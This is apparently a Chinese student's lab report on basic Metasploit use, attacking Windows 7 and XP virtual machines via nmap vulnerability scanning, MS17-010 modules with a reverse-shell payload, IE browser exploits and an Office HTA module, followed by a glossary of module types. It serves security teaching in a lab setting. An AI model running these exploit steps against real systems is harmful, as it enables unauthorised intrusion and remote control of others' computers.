首页 > 技术文章 > Exp5 MSF基础应用

x-x-m-m 2018-04-30 17:17 原文

 

环境

 

  1. 主机:kali

    靶机:windows 7、win10、windows xp SP3 english、

namp扫描

(https://blog.csdn.net/qq_29277155/article/details/50977143) 此博客有较多阐述

0x01 nmap 的介绍

     Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。

      在长达3.5年之后,Fyodor终于发布了著名开源网络检索工具的最新版本Nmap7。Nmap是最受欢迎的开源网络映射器之一此外,Nmap7这款自动化的扫描器能够轻易检测到Heartbleed、POODLE、FREAK等严重漏洞。Nmap7中对ssl-enum-ciphers(SSL枚举密码)脚本替换了新的实现算法,使得它能够通过枚举SSL/TLS协议版本和密码套件来快速分析TLS连接,它还能够迅速识别部署问题。另外,使用Nmap7能够轻易发现包含漏洞的服务器,Nmap7中包含了对提速和扫描实现的改进。这个工具的新版本包括一个更新、更快的Nmap脚本引擎(Nmap Scripting Engine,NSE),同时它还允许用户编写Lua脚本。

0x02 使用nmap 检测多种漏洞     对win7 操作

      使用namp 对这些被扫描工具扫描出来的漏洞进行人工手动验证,这些仅是命令,至于如何根据出现的结果进行判断是否有漏洞,这个在结果中很容易看出,例如出现 vulnerable-有漏洞; not vulnerable-无漏洞。  有结果出来-有漏洞;无结果出来-无漏洞,往后在其他测试中,只需要将scanme.nmap.org 替换成带验证的目标IP 或者网站。

nmap --script=vuln xxxx

  挖出了一个ms17_010漏洞

输入: msfdb run 打开了msfconle

 

search ms17_010

注意第三个选项,这是我自己在exploit database 上下载下来的,然后导入到msf中的,可是没想到也是基于ms17-010的,

在本次实验中我尝试了第三、四、五个来对win7进行攻击,效果很好,都成功了

首先选择的是自己从exploit database 上导入的  439(名字瞎编的) 

输入show options 后观察需要设置的参数
set payload  generic/shell_reverse_tcp
set LHOST xxx
set  smbuser xxx
set  smbpass xxx

  虽然结果成功了,但是这依然需要用户名与密码,我觉得这样其实也不怎么厉害

接下来选择用   windows/smb/ms17_010_psexec 与上面差不多

 

 

针对浏览器攻击

由于对与上一步win7攻击的成功,于是我用来攻击IE

2015年3月微软确认将放弃IE品牌。转而在windows 10上,Microsoft Edge取代了,所以IE最终版是IE11(win10)

首先我预想的是攻击win10,所以找了一个很新的漏洞,然而,大神是用python写的。而想要导入msf中只能用.rb的文件,凉凉

所以,我觉得黑客的知识面应该是相当广泛的,广而深的

在msf自带的漏洞库里也有针对IE11的

然而攻击效果是这样的,什么反应也没有

 

 

然后不甘心的退而求其次,转攻win7的IE7     

 

然后我谷歌了一下。。。。。。。没有解决。待定。。。。

后来上网搜了一下,知道了msf自动化测试,我觉得可以试一试

search autopwn

 然后选择、设置,可是还出现了问题,永远不知道下一步的探索

只好去测试xp

选择了

use winndows/browser/ms14_064_ole_code_execution

  

set SRVHOST xxx    
set payload xxx       
set LHOST xxx         
exploit

然后在xp系统中打开ie,输入url访问,

 

成功的拿到了session ,测试成功

利用office_word_hta模块攻击win7

这个评价是excellent想必是不错的啦

这个依然同上,使用show options 查看设置参数就ok

在靶机上访问URL运行一下文件就OK

 

 

后经同学指点知道一个连接网络的方法:  将靶机与攻击机都设置为桥接模式,然后用手机开个热点,但不开流量,这样的话就相当与手机充当路由器的功能,而且不耗费流量,便可实现两台虚拟机的通信,很赞。

 

  • Exploit模块
    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 形象点来说就是攻击模块
  • Payload模块
    • 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
  • Encoder模块
    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 不改变payload作用,但能对payload进行加工
  • Aux模块
    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块
    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
    • 这里主要指的是攻击之后可能用到的模块
  • Nops模块
    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90

因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

 实验体会:

路漫漫其修远兮,吾将上下而求索

 

推荐阅读